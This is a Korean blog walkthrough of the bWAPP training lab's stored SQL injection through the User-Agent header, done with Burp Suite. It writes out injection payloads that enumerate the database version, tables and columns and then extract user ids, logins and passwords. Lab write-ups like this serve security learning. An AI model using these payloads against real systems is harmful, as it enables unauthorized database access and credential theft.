Code::Security/비박스(BWAPP)

비박스(bWAPP) SQL Injection - Stored (User-Agent)

태군 코드 2020. 1. 3. 16:21
반응형

이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.

 

A1 - SQL Injection - Stored (User-Agent)

 

SQL Injection은 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점 입니다. SQL Injection은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있습니다.

 

1. User-Agent

- HTTP 요청시 헤더에 포함되는 클라이언트 정보를 뜻합니다.

 

비박스 SQL Injection -Stored (User-Agent) 화면입니다. 화면을 보시면 자신의 정보가 표시되는것을 확인할수 있습니다.

해당 문제는 User-Agent 정보에 SQL Injection 공격을 하는 내용으로, 프록시 툴이 필요 합니다. 프록시 툴을 Burp Suite를 사용하도록 하겠습니다.

 

Burp Suite를 이용하여 취약점이 있는지 확인하기 위하여 User-Agent 값에 '(작은따옴표)를 입력하였습니다. Burp Suite 사용법을 모르시는 분들은 앞에 블로그에 올려 놓았으니 천천히 확인해주시기 바랍니다.

 

'(작은따옴표)를 입력하여 값을 넘겨주면 위와 같은 에러코드가 나오는것을 확인할수 있습니다.

 

version',(select @@version))#

계속해서 User-Agent 부분에 SQL 쿼리를 입력하여 버전정보를 확인해 보았습니다.

 

값을 정상적으로 넘겨 주었다면 User-Agent 부분에 앞에 입력한 텍스트(version)이 표시되고, IP Address 부분에 SQL 버전이 출력이 되는것을 확인할 수 있습니다.

 

DB 정보출력

database', (select database()))#

 

DB 정보 출력화면

 

table', (select table_name from information_schema.tables))#

테이블 정보를 확인하기 위해 쿼리를 날렸더니 아래와 같은 에러메시지가 출력이 됩니다.

Error: Subquery returns more than 1 row

위와 같은 에러메시지가 뜨는 이유는 서브쿼리의 결과가 1줄밖에 출력하지 못한다는 뜻이므로 limit 구문을 사용해서 한줄씩만 출력되도록 해주어야 합니다.

 

limt을 이용한 테이블 정보 확인

table', (select table_name from information_schema.tables limit 0,1))#

 

table', (select table_name from information_schema.tables limit 0,1))#

table', (select table_name from information_schema.tables limit 1,1))#

table', (select table_name from information_schema.tables limit 2,1))#

테이블 정보를 확인하기 위해서는 limit 값을 올려주며 해당 컬럼 값을 확인할수 있습니다.

 

컬럼 정보확인

columns', (select column_name from information_schema.columns where table_name='users' limit 0,1))#

 

information',(select concat(id,login,password) from users limit 0,1))#

information',(select concat(id,login,password) from users limit 1,1))#

 

단일로검색 할경우

information',(select id from users limit 0,1))#

information',(select login from users limit 0,1))#

information',(select password from users limit 0,1))#

 

id, login, password 값을 넘겨주면 정상적으로 화면에 출력되는것을 확인할수 있습니다.

 

 

 

 

 

 

 

 

반응형